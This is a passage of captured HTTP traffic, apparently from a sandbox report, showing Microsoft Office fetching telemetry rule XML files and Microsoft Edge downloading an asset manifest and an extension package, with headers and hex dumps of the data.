Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:28 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031628Z-16547b76f7fvllnfhC1DFWxkg80000000f6g000000000zvk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:28 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 183719b9-d01e-00a1-43c3-2c35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031628Z-16547b76f7fmbrhqhC1DFWkds80000000f4g000000007ebt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:28 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:28 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 63ea3643-901e-0015-3101-2db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031628Z-16547b76f7frbg6bhC1DFWr5400000000ex000000000ktnc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:28 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:28 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a295cb8f-e01e-003c-1ba3-34c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031629Z-15869dbbcc6lxrkghC1DFWqpdc00000007eg000000007fm5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49807	13.107.246.57	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:29 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:30 UTC	564	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:30 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 8b1254cc-601e-0033-2bb1-34312a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T031629Z-17df447cdb5vp9l9hC1DFW5hw800000006z000000000fhk4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 03:16:30 UTC	15820	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-12 03:16:30 UTC	16384	IN	Data Raw: 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be Data Ascii: h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'e
2024-11-12 03:16:30 UTC	16384	IN	Data Raw: 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 Data Ascii: &O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
2024-11-12 03:16:30 UTC	16384	IN	Data Raw: 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-11-12 03:16:30 UTC	16384	IN	Data Raw: ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-11-12 03:16:30 UTC	16384	IN	Data Raw: 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ
2024-11-12 03:16:30 UTC	16384	IN	Data Raw: 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 Data Ascii: m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-11-12 03:16:30 UTC	16384	IN	Data Raw: ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
2024-11-12 03:16:30 UTC	16384	IN	Data Raw: 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]
2024-11-12 03:16:30 UTC	16384	IN	Data Raw: 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 Data Ascii: P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49808	152.195.19.97	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:29 UTC	612	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731986185&P2=404&P3=2&P4=UXUCogUBNzreH92yfEduqJAiZUQBoug9t0wSNpzayTnS73qGFf93nH0k2jMHvNbBJJ9X8aNNRwZDl1D5iUWCUQ%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: ux6K9eU5oMp5P9enBrCjzJ Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:29 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 11307920 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Tue, 12 Nov 2024 03:16:29 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: 5880bbaa-f139-48dd-942e-a0adb04a9f4c MS-CV: Grb0Lx3ldaAxoNaTt1rCGY.0 MS-RequestId: 803a6f2d-d0c7-4dfc-9472-668c4d649ec3 Server: ECAcc (dac/9C9C) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-12 03:16:29 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 